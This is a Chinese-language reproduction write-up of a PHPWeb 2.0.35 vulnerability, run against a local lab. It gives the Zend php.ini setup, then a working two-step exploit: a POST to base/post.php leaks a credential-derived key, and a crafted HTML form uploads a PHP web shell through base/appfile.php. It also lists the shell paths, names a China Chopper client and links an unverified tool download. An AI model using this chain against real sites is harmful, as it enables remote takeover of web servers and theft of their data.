测试环境: phpstuday + phpweb2.0.35
环境配置:php版本5.2.17+Nginx 配置Zend Zend phpstuday php.ini 配置 参考如下: 根据自己实际路径
[ZendDebugger]
;zend_extension_manager.debug_server_ts="..\PHP52\ZendDebugger"
zend_debugger.expose_remotely=allowed_hosts
zend_debugger.allow_hosts=127.0.0.1
zend_debugger.allow_tunnel=127.0.0.1
[Zend]
zend_extension_manager.optimizer_ts="E:\phpStuday2018\PHPTutorial\php\php-5.2.17\ZendOptimizer\Optimizer"
xdebug.zend_extension_ts="E:\phpStuday2018\PHPTutorial\php\php-5.2.17\ZendOptimizer\ZendExtensionManager.dll"
zend_extension_ts="E:\phpStuday2018\PHPTutorial\php\php-5.2.17\ZendOptimizer\Optimizer\php-5.2.x\ZendOptimizer.dll"
zend_optimizer.enable_loader = 1
zend_optimizer.optimization_level=15
;zend_optimizer.license_path =
; Local Variables:
; tab-width: 4
; End:
不然会出现乱码情况。
实际运行图:
漏洞详情:
可参考:https://xz.aliyun.com/t/7053
Payload:
第一步:
获取到md5(strrev($dbUser.$dbPass)) 的值
post:
http://127.0.0.1/phpweb//base/post.php post提交 act=appcode
获取到
k的值 :k=95f44e0321ed96ba9d2961a54daab05e&t=1579082873
95f44e0321ed96ba9d2961a54daab05e
将K的值,拼接字符“a” :95f44e0321ed96ba9d2961a54daab05e + "a"
通过 cmd5网站进行 加密 https://www.cmd5.com/hash.aspx?s=
获取到新的MD5值:
ee6f0680b5093a2424daef13cc0b5f89
第二步:
利用 base/appplus.php 上传文件。
构造表单如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Document</title>
</head>
<body>
<form action="http://127.0.0.1//phpweb/base/appfile.php" method="post" enctype="multipart/form-data">
<label for="file">filename</label>
<input type="file" name="file" id="file"/>
<input type="text" name="t" value="a">
<input type="text" name="m" value="ee6f0680b5093a2424daef13cc0b5f89">
<input type="text" name="act" value="upload">
<input type="text" name="r_size" value="19">
<br>
<input type="submit" name="submit" value="getshell">
</form>
</body>
</html>
上传:
成功上传:
通过 appfile.php 上传的shell路径是/effect/source/bg/文件名.php
通过 appplus.php上传的shell路径是/update/ /文件名.php
工具:
菜刀连接:
注: 易语言程序
工具下载:
phpweb.rar (358.8 KB)
【工具未验证是否存在后门,请自行查验】